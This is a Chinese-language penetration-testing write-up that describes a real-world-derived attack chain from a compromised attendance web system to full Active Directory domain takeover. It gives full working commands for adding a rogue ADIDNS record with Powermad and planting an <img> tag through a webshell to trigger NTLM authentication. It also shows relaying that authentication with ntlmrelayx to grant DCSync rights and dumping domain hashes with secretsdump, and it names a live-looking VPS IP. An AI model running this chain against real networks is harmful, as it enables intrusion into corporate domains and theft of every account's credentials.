[域渗透-内网渗透] 从 web 到域控,你未曾设想的攻击链
0x00 前言
本文源自一次真实的渗透过程记录,介绍中继攻击在域内的另一种利用场景,希望能对各位看客有所帮助。
0x01 背景
拿到目标后对目标进行资产收集和常规渗透,目标体积较大,有数个 VPN
接入口,有自己独立的邮件服务器,根据邮服泄露的信息,内网存在域。目标安全性较好,没有历史漏洞可以直接获取到目标相关资产的权限。
经过多天打点后,终于找到目标线上的一个自研系统存在漏洞,通过一系列操作获取到该目标的网站的 webshell,环境为 linux ,外网云上环境。权限为 www-data
。
该点为目标的打卡和周报系统,分析日志可以发现有一部分用户是从目标总部过来的,一部分用户是从各地IP播过来的,可能是因为疫情原因吧,有些员工在家远程办公。收集数据库中所有的用户名已经可以解密的密码,尝试去登录 VPN
,运气不错,共拿到两组 VPN
账号,成功拨入内网。根据 VPN
的下发路由和网段探测慢慢摸到了目标内网中一台域控的位置,VPN
用的是域账号进行认证,所以我们可以直接链接 LDAP
去查询域内信息。
获取的两组账号均为边缘客服人员,目标域内有多个域控,所有的机器版本也比较新,个人机器均为 WIN10
,服务器也是 2016
、2019
这样较新的版本,OU 划的也比较仔细,拉出来看了看组策略的数量和部分配置,可以看出管理员还是很会玩的。
没有直接可以利用的点,这两组账号的邮箱内的邮件也没有敏感的信息。继续翻找,OU 中 MIS(网络管理员)组的成员均为域管,有部分机器是用户自行拉入域的。
整理一下我们手上的东西:一个外网的打卡系统,两组客服域账号,一个VPN接入点
到此我们已经具备了拿下域控的所有条件了,看到这里,各位可以停下里想一想如果是你,你该怎么进行攻击。
0x02 原理与构造
ntlm relay is dead long live ntlm relay
我们可以在打卡系统中插入我们的链接,例如 <img src="http://192.168.1.1/img.png" />
。有用户来访问打卡系统的时候就会来对我们的网站进行请求,此时我们返回 401
,则用户浏览器会默认对我们进行 NTLM 认证
,因为来源是 HTTP
,我们可以将 HTTP
中继到 LDAP
,来完成攻击连,也就是说,域管理员用户一旦访问打卡系统,我们就可以直接接管域控。
但是,默认情况下浏览器不会向外网发送凭证信息,你需要向域内添加一条DNS记录指向你用于中继的VPS,而默认情况下,任何认证用户(Authenticated Users),都用 Create all child object 的权限。换句话说,任何一个域用户默认情况下都可以添加 DNS 到 ADIDNS 区域。
到此我们的攻击路线就清晰了:
- 用域用户向域中添加一条 DNS 记录 unicodesec 指向公网 vps
- 在公网的打开系统首页 添加
<img src="http://unicodesec/img.png" />
- 在 公网 vps 上挂好 VPN 做好中继回域控的线路
- 等待用户来进行访问,当域管用户来访问时,则我们可以通过修改DACL,赋予 DCSYNC 权限 等方式接管整个域的权限
0x03 攻击
- 环境说明
为了避免不必要的麻烦,演示过程由测试环境代替
IP | HOSTNAME | NOTE |
---|---|---|
192.168.136.138 | DC | 域控,Winodws2016 |
192.168.136.140 | WIN域机器 | WIN10,域管理员登录机器 |
1.1.1.1 | 外网云上环境 | 外网的打卡系统-ubuntu18.04 |
2.2.2.2 | 公网VPS | 攻击者机器 |
USERNAME | NOTE |
---|---|
Administrator | 域管理员 |
win10 | 普通域用户,现有特权 |
- 添加 认证图片
首先用我们拿到的 webshell
向系统首页添加以下代码,这里我们就用随便起一个 http 服务器演示。
<img src="http://unicodesec/1.png" />
- 添加 DNS 记录
这里我们直接使用 Powermad 在域外向域中添加一条指向恶意服务器的 A 记录
使用VPN登录到内网中(客服域账号),全程是在域外操作的也就是本地也就是我们根本不需要域机器,这里我们用 frp 代理模拟拨入VPN
使用runas
进行模拟Token
runas /netonly /user:shell\admin123 powershell
用 Powermad
添加一条A 记录 DNS 指向我们的公网 VPS 地址。(https://github.com/Kevin-Robertson/Powermad)
cd C:\Users\demi\Desktop\Powermad-master
Import-Module .\Invoke-DNSUpdate.ps1
Invoke-DNSupdate -DNSType A -DNSName unicodesec -DNSData 70.34.197.162 -Verbos
可以看到回显,我们成功向域控添加了一条 DNS ,指向我们公网的 VPS。
- ntlmrelay
在 VPS
上开启 ntlmrelayx.py 进行监听,命令如下
python3 ntlmrelayx.py -t ldap://192.168.136.138 --escalate-user=win10
等待域管理员打开的外网打卡系统即可, 就通过 DCSYNC 等方式接管整个域的权限。一旦访问就会被中继回 LDAP 并对我们指定的用户赋予特权。
可以看到 win10
用户 被赋予 DCSYNC 的权限。
获取权限后使用impacket secretsdump.py
就可以导出本地 HASH 和域 HASH。
python3 secretsdump.py shell/win10:admin\@123@192.168.136.138
完整演示GIF如下:
至此,完成整个渗透过程。
0x04 后记
如果对你有用话,不来个转发 点赞 再看支持一下吗?
宽字节内网线上班